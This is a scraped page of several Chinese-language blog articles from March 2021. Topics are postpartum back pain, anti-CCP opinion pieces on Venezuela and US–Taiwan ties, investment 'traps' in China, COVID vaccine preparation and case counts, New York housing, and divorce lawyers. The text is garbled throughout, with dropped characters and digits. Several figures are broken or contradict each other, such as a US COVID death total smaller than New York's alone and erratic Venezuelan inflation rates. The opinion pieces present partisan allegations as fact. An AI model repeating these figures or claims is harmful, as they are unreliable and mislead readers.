1,注意补充营养。围产期适当补钙,多喝牛奶、芝麻等钙丰富的食物,多晒太阳,促进钙的吸收。在防止腰痛的同时,也为胎儿婴儿提供足够的钙。

2,不能常穿高跟鞋:切记产后需要穿著柔软的鞋子,应避免穿有跟的鞋,否则容易导致身体重心前倾,间接影响到腰部,从而诱发腰部的疼痛。

3,动作缓解,确保哺乳姿势、抱宝宝姿势、站立行走蹲坐姿势的正确性。

平时可多做活动来锻炼腰部及盆底肌肉,例如下蹲、伸展活动、提肛收腹活动等。也可以给腰部做做按摩或理疗,使腰部肌肉得到放松。适当做些转腰活动更容易使腰椎稳定,恢复正常曲度。多做这些动作可以起到缓解腰部疼痛的效果,也可使腹部逐渐恢复至孕前状态。

4,不能太过劳累:许多新妈妈们分娩后对自身的休息不注意从而导致身体疲劳过累,另外长时间的站立、蹲坐及腰间扎束太紧等,都有可能产生产后腰痛。产妇需时常关注自己平时生活,确保自己有充分的活动和休息,不能过于疲劳,所做的家务要轻松。

腰痛治疗

产妇产后患上腰痛后,可根据病情轻重情况进行治疗。

病症严重的可以通过针灸、理疗、推拿及药品外敷等手段进行治疗。值得提醒的是,在宝宝吃母乳期间,妈妈需要谨慎食用消炎镇痛之类的药品。这些药品容易在宝宝吃奶期间通过奶液进入身体中,这样的话,很可能影响宝宝的健康成长。

一般来说,许多产妇怀孕阶段的腰痛使得在分娩后也得到了继续。孕期中由于宝宝的逐渐发育成长使得越发加重了产妇的腰后部所承重量以及腰椎前凸,导致了孕期腰部疼痛。

生产后产妇的身体未能快速恢复,从而很有可能使孕期腰痛转化为产后腰痛。不恰当的姿势易导致腰痛的产生。这些都类属于姿势性腰痛,因此这类腰痛的治疗以规范、调整姿势为关键。

 

 

 

2021-03-31 / by / in , , ,
委內瑞拉由富变穷的歪招中共都学会了

文|古风

刚结束的中美两国对话峰会无果而终,由此来看,中美关系应该会越来越紧张。出现这种局面,不完全是中方外交官的水平问题,更主要的原因还是中美两“道不同”。

关注中国问题的专家们都在为中国的未来而担。因为中国是一个人口大国,一旦出现委内瑞拉现象必将会引发全球大动荡。事实上,中国也正在沿着委内瑞拉的老路狂奔,而且动作姿势来越标准。为了让更多人了解委内瑞拉的惨状及成因作者经过一番调查,委內瑞拉由富变穷的原因进行了总结,以便让大家在了解委内瑞拉的同时更加清晰地看到当下中国的走向

委瑞內拉现状

委内瑞拉是南美洲的一个海滨国家,全国现有人口约3000委国有三大世界著名特产,一是美女;二是石油;三是委国有两位超级减肥专家,一个叫查韦、一个马杜罗,他可以在不打针、不吃药的情况下,在1年内,可以80%以上的国民平均体重11公斤,让曾经营养过剩的委国民众全面体验到了由胖子变成皮包骨的感”。

德国媒体报道,委内瑞拉石油储量全球排名第一,也是曾经南美洲最富裕国家可由于委国两任总统坚持走社会主义道路,最终一个美丽富裕的委国推到了绝路如今委国的粮食和药品严重短缺商店货架都是空空如也,各地的加油站缺油关门停业2010年到2020年的10年间,委国的物价涨了100万倍,交车票由过去的2(玻利瓦尔)一张,涨到今天的200万元一张。老百姓每月平均只有1.8万玻利瓦尔(月工资约6.74美元)。

由于生活物资长期匮乏导致长期饥饿 80%以上民众出现营养不良(军队和官员除外) 儿童死亡率节节攀升犯罪率高居世界首位。为了谋生,大量委国民众纷纷逃离本国国际移民组织2019年估计,从2014年开始,已经有300万委国人移居国外,约占委国人囗的10%

瑞拉由富变穷歪招

1走社会主义

1999年2月2日,查韦斯正式当选委内瑞拉第53任总统。他上任以后,就推行一项名为 玻利瓦尔革命的改革措施。查韦斯认为社会改良措施仍不足以完全消除贫困和拯救委内瑞拉因此,2004年底提出建设“21世纪社会主义 的奋斗目标

2007年1月10日,查韦斯连任委内瑞拉总统。他在发表了长达3个多小时的就职演中说,在新任期内,他将推动委内瑞拉建立新的社会主义政治、经济和社会模式,并将其与入宪法。

2取消总统任期制,搞个人独裁

据媒体报道,2009年2月19日,查韦斯颁布了宪法修正案。宪法修正案内容包括取消选举产生的各级官员的连任次数限制。

  查韦斯说,修改过的宪法第230条内容现在变更为“总统任期为6年,可以无限期连任”。通过选举产生的市长、州长、市议员和全国代表大会议员等职位同样适用于这一规定,连任次数不再受到限制。

  在宪法修正案的颁布仪式上,查韦斯要求议会通过立法授予总统特殊权力以便制定“革命法律”。 他已经准备好从2009年到2019年继续领导委内瑞拉的社会主义革命。

3把民企变成国有化

委内瑞拉曾经之所以富裕,是因为市场开放,民企与外资企业是这个国家的经济主体。查韦斯当选总统后,他认为民企和外资企业剥削了本国人民,政府缺乏对经济的主导权的控制。于是,从2002年开始,就以公私合营为名对一些私营企业(包括外资企业)进行征用或国有化这其涉及到石油、农业、金融、重工业、钢铁、电信、能源、交通运输和旅游业等行业的重点企业。尤其是在查韦斯连任后尤为突出2007 2012 ,就有有1147大型私企被国有化。

查韦斯将民企国有化后,市场经济就变成了计划经济,市场活力被彻底抹杀。国有企业不仅效率低下,而且吓跑了所有外国投资者。国家强行征收私营企业导致政府的国际信用彻底破产

为了抵制查韦斯民企国有化政策,反对党开始组织各大规模的大罢工,从而导致石油企业停产,产量下降到之前的三分之一。

为了应对经济下行,查韦斯采取对玻利瓦尔与美元汇率固定化政策,并拒绝美元在市场自由兑换,导致市场美元的需求激增

4、与美为敌与独裁国家为伍

自从查韦斯当选委内瑞拉总统开始他便口无遮拦地在电视上发表各种反美演说,他从不放过 任何攻击美国的机会,从而使美委两国陷入敌对状态为此,查韦斯本人也获得“反美急先锋” 的称号。

查韦斯的外交政策是与美国为敌,与独裁国家结盟。委内瑞拉的友好盟国主要有古巴、伊朗、中国、津已布韦、朝鲜

5、大肆印钞导致市场通货膨涨

货币是一个国家的信用,天量印钞,纸币泛滥,最后导致经济崩溃。在委瑞拉,过去的公交车票只要2(玻利瓦尔)一张,如今却涨到200万元一张。买张车票或买卷卫生纸都需要提着一蓝子钞票。也就是说,委肉瑞拉货币还没有卫生纸值钱。

据媒体报道,200811日,委内瑞拉发行新币,以10001的比率兑换成旧币。

20188月,再次发行新货币,兑换比率为110万。

20196月,再次发行面值1万、2万和5万的大面值货币。

国内通胀率出现火箭一般的飙升!

委内瑞拉货币玻利瓦尔,从过去的10兑换1美元贬值到如今180玻利瓦尔兑换1美元。黑市价格更低。

6废除三权分立制度

1999年12月,查韦斯通过修宪法,废除传统的三权分立制,建立五权制衡的政治体制实际上,通过《授权法》不断强化总统的权力,谓的五权制衡便成了他一人独裁。他还将两院制改为一院制,说是为了减少议会斗争对施政的掣肘。查韦斯在执政11年中共四次获得特别立法权,为他取消总统连任限制扫除法律障碍

7接班杜罗靠贷款维持政府运作

马杜罗是查韦斯的铁杆追随者,查韦斯死后,马杜罗于2013年4月14日当选委內瑞拉总统。查韦斯逝世时的经济政策,大部分得到继任的马杜罗继续实行。马杜罗接任总统之时,委内瑞拉已经需要面对由查韦斯的政策的高通胀以及货品短缺

国际货币基金组织披露,2014年,委内瑞拉开始陷入经济衰退。到2016年,委国的通胀率高达800%。由于经济不断恶化,到2018委国的通胀率达到100%,到2019年,市场通胀率达到200%

马杜罗当选总统以来,委国就像一个依靠打吊针来维持生命的高危病人,政府的运作完全依靠贷款来支撑。截至20193月,委国政府和国营企业合计有1500亿美元债务,这其中向中国贷款650亿元。

委国由富变穷的歪招,中共都学会

从委内瑞拉由富变穷过程来看,对中国具有很强的警示作用。但很可惜的是,中国当权者为了一己之私,不但没有从中汲取教训,反而是照着葫芦画瓢,更可怕的是,面对当权者的倒行逆施,许多中国民众还在为其歌功颂德。真是可悲呀!

2021-03-31 / by / in , , , ,
美台军事合作常态化,中共在国际成了过街老鼠!

美台军事合作常态化,中共在国际成了过街老鼠

文|古风

中共始终把美国视为武统台湾的最大阻碍,每当中共下决心要对台动武时,美国总会在关键时刻作出反应。

中共武力犯台进入倒计时

据新华社报道,2021年3月24日习近平在视察驻福建的武警第二机动总队时说“坚持聚焦备战打仗,深入推进实战实训、联战联训、科技强训、依法治训,紧贴多样化任务需求,加强针对性适应性训练,加强合成化专业化训练,加强新力量新装备训练,提高训练质量和层次。”有评论分析,习此次福建之行,意味着中共武力犯台进入了倒计时。

武警第二机动总队是中共针对武统台湾而组建。2015年中共军改后,武警部队新组建第一、第二机动总队。其中武警第一机动总队驻扎河北;武警第二机动总队便驻扎福建。福建官媒曾经称,武警第二机动总队“是一支流淌着红色血脉的部队,是一支合成化专业化的战略战役机动力量,是一支关键时刻能发挥一锤定音作用的重要力量”。针对中共这一举动,奥巴马政府当即就派遣军舰往有争议的南海地区。次习近平武警第二机动总队官兵话,美国很快又作出了反应。

美台军事合作将成常态化

据台湾媒体报道,针对中共军舰不断进入台湾海峡示威,2021年3月25日,美国和台湾签署了一份“台美海巡合作解备忘录”,这份协议表面上是针对海上巡逻,但实际是美台海巡署变相向“第二海军”转型。

有专家分析认为,台湾与美国签署这份备忘录,意味着台美双方突破了军事合作禁区,把台美军事合作直接推向“合作公开化、议题制度化、项目明文化、协防常态化”。 此次美台军事合作,无疑是再次给了中共一只响亮的耳光。

围堵中共已成美国的重大战略

媒报道,美国海岸巡防队被称为“第五军种”,火力强大。早在2019年3月,美国海巡舰伯索夫号已经和海军驱逐舰柯蒂斯魏柏号。

一起,航行通过台湾海峡。在美军未直接与台湾公开军事合作之前,先由半民间半军方的海巡部队合作,这显然是两国军事合作的前奏和预演。

协防台湾、围堵中共,这已成国及其盟军的重大战略。今年3月,在日本召开的美、日、印、澳四方安全会谈后,日本公开表示美国如对台出兵援手,日本有义务协助美军也就是说,中共一旦武力犯台,将会受到美日等国联合打击“台美海巡合作瞭解备忘录”的签署又进一步强化了美台军事合作。总之美国主持召开四方安全会谈布林肯访日韩、布林肯参加北约会议系列行为,目的都是为了打击中共的不轨之心。

中共拜登总统抱有企图

此前有媒体分析,拜登当选美国总统可能会放弃台湾,原因是拜登与中共之间存在利益勾兑,认为拜登可能会改变对华政策

美国大选期间,中共几乎不失一切代价助拜登当选。可谓是无利不起早,中共之所以这样做,也有可能得到了拜登或其子种承诺,否则,中共不可能会拼老命去得罪特朗普来帮助拜登。

有专家分析,中共对美系的最大诉求离不开以下重点:

一是希望国对华贸易政策松绑;二是希望美国在对台问题上继续维护“三个公报” 给中共犯台制造借囗;三是希望美国支持中国的“一带一路” 投资项目;四是希望美国放松对华投资的金融政策;五是希望在人权问题上能睁一只眼,闭一只眼;六是希望美国不要在南海问题上不要纠缠不休;七是希望美国放松对华签证政策。而在上述诉求中,中共最在乎的应该还是美台关系问题。

美国对华共识无人能轻易改变

可事实上,反共限共早已成美国两党的共识任何人都无法轻易改变,拜登也不例外早在2020年11月12日,美国国务卿蓬佩奥的首席中国政策和规划顾问余茂春接受美国之音时说,在中共的行为没有发生根本改变的情况下,对华政策理念和方式也没有改变的理由。不管谁当总统,他毕竟是美国的总统,他一定是按照美国人民的利益来考虑。这是美国民主共和两党的共识。

余茂春说,在对华问题上,美国两党已形成三大共识:抛弃打中

国牌、抛弃以接触为中心、认清中共不等于中国人民。

第一,抛弃自尼克松政府以来几十年实行的打中国牌策略。余茂春说,中国是美国国家安全的最大威胁,我们不是通过打中国牌去获取另外一种战略目标,而就是针对中国来制定我们的对华政策。所以中国再也不会是美国战略中的一个过客。

第二,放弃了以接触为中心的对华政策。余茂春说,接触政策没有改变中国,却让中共通过接触政策来改变美国甚至全世界 ,而过去接触政策中的所谓“求同存异”是非常危险的,往往为了经济利益而牺牲了人权、社会制度、政治制度等方面所谓的‘异’,即普世价值观。

第三,中共不等于中国人民。余茂春说,特朗普政府明确理清了中共不等于中国人民概念。

中共在国际上如过街老鼠

3月24日,美国国务卿布林肯与欧盟外交与安全政策高级代表兼欧委会副主席博雷利举行会谈。会后,双方发表联合声明,同意重启美国与欧盟之间关于中国的双边对话。双方一致认为,与中国的关系是多方面的,包括合作、竞争和系统性对抗等。双方还决定继续在对话框架内举行高级官员和专家级别的会议,讨论互惠主义等议题,包括经济问题;复苏;人权;安全;多边主义;以及与中国在气候变化等领域进行建设性接触。”

声明还提到,美欧双方将通过合作“促进安全、可持续、自由和开放的海上供应路线和供应链”;将共同应对俄罗斯“具有挑战性的行为”;以及在防疫和疫苗分发、气候变化、伊朗和土耳其等问题上共同努力。

除重启中国双边对话友外,中国和欧盟在去年12月完成的中欧投资协定谈判也是布林肯此行目标。值得一提的是,布林肯“赶赴”北约和欧盟的时间耐人寻味。就在前不久,欧盟30以“人权”为,对中国新疆有关人员和机构实施制裁,中国强烈谴责并立刻反制,中欧关系为此陷入了紧张的局面。

中共外交步履为艰。到目前为止,欧与中共关系紧张,而且中共与日本、加拿大、印度、大利亚、缅甸等国的矛盾也正在不断加剧。随着国际社会对新冠疫情的溯源,中共在国际上就像一只国街老鼠,人人喊打!

中共成过街老鼠,人人喊打!

2021-03-31 / by / in , , , ,
在中国投资的十大陷阱

在中国投资的十大陷阱

文/古风

外国企业在中国投资经常遇到各种陷阱,许多投资者往往是人财两空。前湖南省副省长于幼军有句名言:官员们在招商引资时装孙子,而且还甘当“三陪”(陪吃、陪喝、陪玩) ,当外资引进后,官员们就开始装大爷,外商(伤)就会被打成内商(伤),內商(伤) 就会被打成重伤。于幼军的这句名言充分反映了外国企业在中国投资的真实状况。以下是中国政府招商引资的十大陷阱:

1. 民企设立党组织陷阱

2018年11月,中共公布了《中国共产党支部工作条例(试行)》,其中包括民营企业、外企等在内的所有企业以及其他行政和社会组织、社区、学校、科研院所、军队等基层组织设立“党支部”的规定。

据报道,截止2019年12月,中国的民营企业超过3,200万家,个体工商户超过7,600万户。按照该工作条例规定,凡是有固定经营场所,人员在3人以上的企业(包括个体工商户) 都必须要建立党组织。截止2020年10月,中国民企(包外资企业) 的党组织覆盖率已达到90%以上。

中共在民企设立党组织的目的就是为民企国有化作准备。此举比当年委內瑞拉把私企变国企的手段更加高明,委內瑞拉是直接征用或兼并,而中共是先在企业设立党支部,后派中共官员进驻企业担任党支部或党委书记、公司董事局顾问等职务,对企业实行先摸底后掌控,优质民企最终都要被国有化。

2. 官员换届陷阱

在中共治下的中国,往往是新官不理旧帐,一任父母官一个新主张。每当官员换届时,就要对产业发展定位作出重大调整,这对投资者来说就是一种致命的打击。

例如:2013年,中共在全国推行网络经济,在各地政府的大力推动下,一大批网络金融企业应用而生。当年某美国上市公司在河南某市投入巨资与政府合作建家居采购总部基地(线上线下模式) ,当该企业投资近3亿元将产品展馆建好时,该市的市委书记就被换人,

新市委书记到任后,他认为前任市委书记建家居采购总部基地的决定是错误的。于是,他当即废除与企业的合作协议,导致该项目直接破产。事后,一切损失都由企业承担。这种案例在中国不在少数。

3. 政府强征强拆陷阱

在中国,政府对企业或个人实施强征强拆的案例是不胜枚举。2015年,有一位加拿大华侨在天津买了上千亩土地准备建物流园(土地为工业用地),当物流园刚动工不久,当地某房地产开发商便看上了该地段。当地政府为了将这块土地卖个好价钱(商业用地比工业用地的价格贵10倍以上),便强行中止物流园项目的建设。

事后,当地政府只是将购地款原价退还给投资人,但其它损失一律不负责,导致该投资人直接损失5000多万元。后来投资人以政府违约为由准备去法院起诉,可当地法院根本就不受理。

4. 政府统计数字造假陷阱

在中国, GDP数字造假早已不是什么秘密。为了完成上级政府下达的年增长率,各地方政府往往都会要求企业配合政府虚报产值。例如:某公司当年实际销量为1亿元,政府可能会要求公司上报2亿元或3亿元,甚至更多。在产值统计过程中,政府要求企业法人必须在《企业产值申报表》上签名并加盖公司的公章。

对于企业来说,这就存在法律隐患。因为企业纳税与申报数字明显不符,政府需要企业配合造假时,他们会说这与漏报税收无关,可当政府要侵害企业财产时,公司每年填写的《企业产值申报表》就成了偷税漏税最有力的证据。

5. 人质外交陷阱

在中国,人质外交是屡见不鲜。2017年3月,中共为反对韩国政府同意安装美国“萨德”反导弹系统,官媒便煽动民众在全国抵制韩国乐天超市。中国乐天各地超市都被当地政府开罚单、被执法部门“重点关注”,其中国官方网站也遭到攻击而瘫痪,在的112家乐天玛特卖场全部遭到停业,后来被迫退出中国。

2021年3月,因中国与美欧关系紧张,中共为报复美欧等国,在官方媒体引导和策划下,在中国掀起一场抵制洋品牌运动。瑞典知名品牌H&M、美国运动品牌耐克、阿迪达斯等一大批外国品牌在中

国市场都受到打击。一些所谓的爱国网民在H&M等分店外抗议,情绪激动,高呼抗议口号。甚至连港、台艺人也卷入这场抵制洋货运动,许多艺人被迫表态解除为这些品牌代言的合约。官媒指责外国部分品牌“吃中国的饭、砸中国的锅”,还称“中国网友愤怒了”,事件引发国际社会强烈反感。

这种人质外交对投资者来说无疑致命的风险。如今中共在国际四面树敌,许多外国投资者在中国往往都是躺着中枪。

6. 中共统战陷阱

中共窃国有三大杀手锏,即:枪杆子(暴力)、笔杆子(谎言) 、统战(利益诱惑) 。习近平执政后更是变本加利。

2020年9月,中共中央办公厅印发了《关于加强新时代民营经济统战工作的意见》。该《意见》明确规定,统战工作要面向所有民营企业和民营经济人士,工作对象主要包括民营企业主要出资人、实际控制人,民营企业中持有股份的主要经营者,民营投资机构自然人大股东,以民营企业和民营经济人士为主体的工商领域社会团体主要负责人,相关社会服务机构主要负责人,民营中介机构主要合伙人,在内地投资的港澳工商界人士,有代表性的个体工商户。

对于外商投资者来说,要么与中共同流合污危害世界,要么退出中国,如果投资者既不配合中共统战,又不退出中国,其后果可能是人财两空。

7. 官员贪腐被查陷阱

在中国,无论办什么事都要讲人情关系,企业做得越大,靠山就要越大,若是没有靠山,企业办事是寸步难事。但一旦某个官员被查,就必然会牵扯出一大批行贿的投资者,而中共的纪检部门就会借机向投资者发难并实施敲榨,投资者若是不肯破财,就要承担刑事责任,所以投资者只能破财消灾。类似案例,几乎所有在中国的企业家都经历过。

8. 中共国家安全法陷阱

在中国,国安的权力大过天。2015年7月1日,《中华人民共和国国家安全法》正式实施。从此以后,凡是在中国境内的港台及外国投资者都会受到重点监控,其邮件、微信,包括在境外的通讯软件都会受到监控,投资者的个人隐私及商业机密都会一览无遗地曝露

给中共,如果发现有人对中共或中共领导人不满的言论,其后果将会很严重。这对投资者来说,几乎是毫无安全感可言。

9. 军民融合陷阱

2017年11月23日,《国务院办公厅关于推动国防科技工业军民融合深度发展的意见》。按照该《意见》规定,凡是与军工需求对口的企业信息、人才、技术、设备设施等都是被融合对象。为此,凡是被中共看中的企业或个人就必须要服务中国军方,如果不配合就会麻烦不断。

10. 知识产权陷阱

强制技术转让是引发中美贸易战的重要因素。2019年5月,中共出台了《外商投资法》,外资企业普遍反映中共借助《外商投资法》强行要求外资企业进行技术转让。尽管中共对此不予承认,但事实却不容否认。

2019年4月,美国在华商会发布年度白皮书指出,美中两国如果要达成双方都满意的贸易协议,就必须解决包括强制技术转让在内的”结构性问题”。可见,在中美贸易战中,减少贸易逆差并非美方唯一目的,这反映出美国政府官员对于中国的强制技术转让、歧视性经济政策和网络盗窃问题有多么重视。

总之,在中国投资,最大的风险不是来自正常的市场竞争,而是来自中国政府。中国是一个人治社会而非法制社会,其出台的各种法律都是为了维护中共专制统治,而不是为了保护广大投资者。因此,投资者稍有不慎就要临各种投资陷阱,并落得人财两空。

2021-03-31 / by / in ,
接种新冠疫苗前,要做哪些准备?有些疾病,也有些生活小细节,接种前不可忽视

文|无疆行者

新冠肺炎仍然在全球持续流行,而目前新冠疫苗接种也在世界各国全面铺开,对不少人来说这是一个好消息。但是大家一定要了解,像所有药物一样,疫苗也可能会引起一些副作用。在准备接种疫苗前,充分做好各项准备,才会让接种过程更安全和顺畅。

一,哪些病症不适合注射新冠肺炎疫苗?

前去注射疫苗前,最重要得先做的,就是确认自己是否适合接种。大家到现在应该都知道,16岁以下孩童、孕妇、有严重过敏,以及免疫系统受损的人都不应该注射疫苗。

对于哪些疾病不适合接种疫苗,新加坡卫生部给出以下建议:

(图片来源:新加坡卫生部)

如果还是不太清楚自己是否适合注射疫苗,你可以事先询问你的医生。也可以向疫苗接种中心的医生查询。

二,在接种疫苗前要做哪些准备?

对于接种前需要做哪些准备,AX安盛香港官网给出了5条建议,如果你遇到这种情形,不妨对照一下,在接种前提醒自己或身边的人:

1,想清楚自己有没有对任何东西过敏?

如果有对任何东西过敏,就要把完整的过敏史记录带去接种中心。其实,不是所有过敏都会影响新冠疫苗注射,但详尽的过敏纪录就能让医护人员作出更准确的评估。

2,携带自己或亲人现正服用的药物清单

如果你近期有服用薄血药的纪录,就需特别注意。新冠疫苗是采取肌肉注射,因此如正服用华法林 (warfarin) 一类的薄血药,在接种时就需加倍小心,并先由医护人员作出评估。

至于亚士不灵其他新型口服抗凝血药物,也可能可以注射新冠疫苗,只要你在接种前让医护人员了解你的情况,他们就会知道如何处理。

3,尽量不要同期接种其他疫苗

虽然目前没有明确医学证据说明不应该这样做,但如果同期接种两款疫苗,一旦出现副作用,就很难知道到底是哪一种疫苗产生的问题。

4,穿短袖上衣方便接种

由于疫苗是接种在上臂的肌肉,要卷起长衣袖甚为不便,所以最好穿外套,内搭短袖上衣,那就方便多了。

5,接种日应当预留充足时间

接种疫苗的过程可能不须一分钟便能完成,但在接种前须核对姓名及其他个人资料,在接种疫苗后,则一般须进行半个小时左右作观察,因此整个过程可能超过半个小时甚至一个小时。

三,接种前遇到的常见问题

美国UC健康初级保健(UCHealth Primary Care)官网凯蒂·马克利(Katie Markley)博士,针对人们接种前经常遇到的一些特殊问题,给出了一些非常好的提示:

1,接种前,体内保持足够的水分

每天饮水有助于整体健康和预防脱水。脱水容易导致意识不清,情绪变化,身体过热,便秘以及肾结石。在接种疫苗前,保持足够的水分,有助于你的健康。

2,接种前,需要测试病毒吗?

不需要。但需要戴口罩,并和他人保持6英尺的距离。在接种后,也不需要测试抗体。

3,哪条手臂接种比较好?

任何一条手臂均可接种。但许多人选择接种那条不常用的手臂,根据个人情况,选择怎么做对你最方便。如果你喜欢侧睡,会把压力放到右臂上,那就接种左臂。

4,准备接种的前晚,应限制饮酒

饮酒过多,可能导致脱水和宿醉。尤其是宿醉可能和第二次接种前出现的副作用相互交叉,应避免陷于这种处境,不要给医生出难题。

5,可以吃东西吗?

可以。接种前就餐没问题,还有助于那些怕打针以及有眩晕历史的人。

6,哪些不可打疫苗?

最近感染Covid-19病毒者,在接种疫苗前,应该先康复,并完成隔离期,隔离期通常是10天。如果住院或者患有某种疾病,隔离期可能会更长一些。

7,接触了病毒怎么办?

等待14天。如果未出现症状,就可以预约接种。如果你接受过新冠病毒的血浆治疗或者抗体治疗,需要等待90天。

8,如果准备接种其它疫苗,应该等待14天;如果已接种了其它疫苗,也要等待14天后,再接种Covid-19疫苗。

2021-03-30 / by / in , , ,
新冠肺炎疫情更新: 全美似乎进入第4波疫情 纽约州每日感染人数全美最多

【金牌网讯】目前全美新冠肺炎疫情呈上升趋势。过去一周,全美感染率上升了12%,每日死亡病例上升10.5%。截至今日(3月30日上午10:50),全美感染总人数为30,229,300,死亡人数累计已经高达55,000。

尽管许多州扩大了疫苗接种资格,但全美似乎一九迎来了第四波高峰。

近两周内来平均每日新增案例,首次突破65,000人/日。比两周之前平均每天增加19%。华盛顿州、佛蒙特州和北达科塔州均报告新增案例大幅增加。

新增感染人数最多的州是纽约州,纽约州总感染人数189万人。昨日新增8,022人,总死亡人数50,441人,新增122人。纽约市截至昨日总感染人数84万人,过去两周新增5,335人,总死亡人数31,117人,新增91人。

部分数据来源于网站:https://www.worldometers.info/coronavirus/country/us/

临近纽约州的康涅狄格州、新泽西州和滨州,疫情也相当突出。康州新增3,229人,宾州新增3,150人,新泽西州新增3,621人。

疫情增长比例最快的州为密歇根州。过去一周,密歇根州新增比例高达57%。该州本月稍早时期,刚刚放松与疫苗相关的限制措施。住院人数也迎来最大增长。昨日该州新增感染4619人,新增死亡人数9人。

纽约州疫苗接种速度正在加快。从本周二(3月30日)开始,30岁及以上的纽约人,预约后均可注册接种新冠疫苗;75岁以上长者在以下三处地点Citi Field,Brooklyn Army Terminal ,Bathgate Postal Station,无需预约,即可前往接种,为那些不习惯于上网预约的年长者提供了方便。

佛罗里达州从本周一(3月29日)开始,对40岁以上者均可接种疫苗。下周一(4月5日),所有佛罗里达州18周岁以上的人,均可接种疫苗。

在加州,有1,800万人口从本周开始,有望进入更宽松的限制环境。

本周一拜登宣布,到4月19日,将有90%的美国成年人,有条件在离家5英里范围内接种疫苗。过去一周平均每日接种疫苗人数超过270万人。

据“发病率和死亡率每周报告”(Morbidity and Mortality Weekly Report)发表的一项新研究显示,接种一次疫苗,就可有效帮助医疗人员预防Covid-19。

这项研究从去年12月14日开始到本月3月13日,研究了4千名接种了疫苗的医疗人员和紧急救助人员,发现辉瑞(Pfizer )和莫得那(Moderna)疫苗在接种一次后,有效率高达80%,第二次接种后有效率高达90%。

 

 

 

 

 

 

2021-03-30 / by / in , , , , ,
纽约州房市 库存量继续低迷 卖方得势

文|地產小尖兵

纽约州房地产市场,自去年夏季房市爆发以来,买家迅速卷土重来,导致秋季和冬季购房季节繁忙。与纽约市房地产市场不同,纽约州房市已经从大流行的经济影响中恢复过来。强劲的住房买家需求改变了近3年来一直在降温的住宅销售市场。这也正是卖方的机会,迎来主动谈判的优势。

根据纽约特区(NYSAR)的年度报告,到2020年,纽约房市因为库存仍保持在历史最低水平,致使不同的住房市场变成卖方市场。卖家平均收到原始销售价格的98.4%,同比增长1.1%。在西岸的旧金山湾区,总是破百的销售与上市价比,纽约州的买家还是有些微的谈判空间。

纽约州房地产市场也因库存量低,造成价格上涨。(Pixabay)

高的买卖比表明卖方对买方具有更多的谈判能力。 2020年与上一年相比,活跃的房源减少了22.6%。库存下降导致房价上涨。结果,该年度的整体销售价格中位数房价增长了11.6%,达到31万美元。

许多行业专家一直预测,纽约将于2021年实现强劲的房地产升值。随着城市面临长期复苏,2021年将是房地产所有者的绝佳选择。不同的业务部门以不同的方式,以不同的速度开放。当前的趋势表明,纽约州房屋市场在寒冷的天气中仍然活跃,销售量高于正常水平。

根据纽约州房地产经纪人协会的最新住房报告,纽约州房地产市场在强劲的买家需求和强劲的市场基本面的推动下开始走强。新上市房屋数量下降15.5%至12,265。待处理销售额增长22.9%,达到10,588。库存减少26.7%至38,885单位。

月库存量同比下降了34%,从4.7个月下降至3.1个月。纽约州房地产市场的全州中位销售价格继续攀升,从2020年1月的295,000美元,增加到2021年1月的355,000美元,同比增长20.3%。

另外还有几项数据1月/2021:
-新上市房源同比下降15.5%。
-与去年同期相比,待完成(Pending)销售额增长了22.9%。
-完成销售额比去年增长了16.7%。
-库存仍然是一个大问题,因为待售房屋数量下降了26.7%。
-本月房屋供应量为3.1个月,与去年同期相比下降了34.0%。
-全州销售中位数价格上涨了20.3%,至$ 355,000;平均价格跃升14.9%至444,608美元。

2021-03-30 / by / in
在美国离婚,如何找到最适合您的离婚律师?

文|他乡月更明

近日澳洲一家律师事务所在代理一位悉尼名媛的离婚案时,被发现多收了70万美元律师费用。负责审查费用是否合理的法庭评估员表示,这位女士缴纳了380万美元巨额律师费用,律师事务所们虽向她保证会考虑成本问题,但还是举办了在评估员看来,过多人参加的不必要的内部会议,一些发票也缺乏细节,使这些多收的费用看起来不太合理。

一个好的离婚律师,不仅要能够成功的维护被代理人的利益,还应该尽力帮助当事人减少离婚过程中的时间、精力和资金上的巨大消耗。因此,在寻找离婚律师时,就需要考察其品德、资历、经验、心理等多种因素。我们综合了行业内一些专业人士的经验,建议在聘请律师时要考虑以下5个方面。

1 ,面试离婚律师,询问周围的朋友或熟人,多找几个律师面谈

如果亲朋好友中有人经历过离婚案,别忘了请教他们,分享与好律师合作的体验。当然,每个案件的情况不同,适合朋友的律师不一定适合你。

和律师面谈,要精心设计你想提出的问题。你不能问他:你的从业经历是什么?赢了多少案子了?这些简单的问题在你拜访律师之前,就要通过搜索找到答案。另外,一个律师过去的成果,并不能足够证明他适合你。

律师要代表你处理生活的方方面面问题,可能涉及到财务、退休、职业生涯等等多个领域。只有知识广博、实战经验丰富的律师,才能应对案件的复杂性,最大的保护你的利益,同时,让你在离婚过程中仍可正常生活。

因此,多找几个律师面谈,比较、观察到不同律师的人格特质,看他们回应问题的方式。告诉他们你家庭的特殊情况,财务状况,你对离婚的顾虑等等细节,看他们提出的解决方案,对案件处理结果的预测,以及问他们怎样才能得到一个比较合理的结果。

然后,比较不同律师的看法,使用排除法,最好确定那位最令你满意的人。

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2,离婚律师要具备良好的人际沟通能力

这种沟通能力体现在三方面:

一是你和律师之间的沟通。律师需要具备良好的倾听和理解能力,了解顾客真正的想法和期望,并且能够以顾客能理解的方式做出解释,否则,以后的合作中就可能产生冲突。

二是你的律师还要做到,能够与你的配偶及他的律师之间保持有效的沟通。双方良好的沟通有助于开展有效的谈判,减少相关费用。尤其是在上庭前,如果你的律师能够就一些关键问题与对方达成协议,对双方都很重要。

三是与法庭的沟通,如果最终出庭,与法庭保持良好的沟通,有助于获得法庭的信任,帮助法官最终作出正确的裁决。

 

在面对压力时能保持沉著和冷静,更能体现出是否真正具备这一沟通能力。

这种沉著的气质不只是体现在和你沟通的时候,还体现在在面对对手,面对法庭,以及在事情的发展与你们的愿望不一致时,是否还能够保持这一冷静的特质。

在离婚过程中有时会发生一些意料不到的情况,加上你不能完全预料对方或法庭会做出什么决定,包括突发情况,这时候,一个具备冷静特质的律师,就能够及时调整思路和战术,把情势导向有利的结果。

3,注意第一印象,如果对离婚律师有疑虑,要弄清楚问题是什么

和律师接触的第一印象,可能会影响你们今后的沟通。如果你感觉有些不对,就要注意查看这种感觉,看看它到底是什么原因所致。有时候,一见面,你可能觉得他就是你要找的那种律师。但也要注意,你的第一印象,不要被律师办公室墙上各种牌匾或者被律师身上的名贵西装所误导。

对律师的能力有信心,对你和律师之间的沟通方式感觉良好,这两点很重要,会直接影响今后的合作。尤其在案件出现不顺利时,良好的信任和沟通,能够保障双方继续正面解决问题,而不是半路分道扬镳。这两点,最好在第一次面谈时就确定下来。

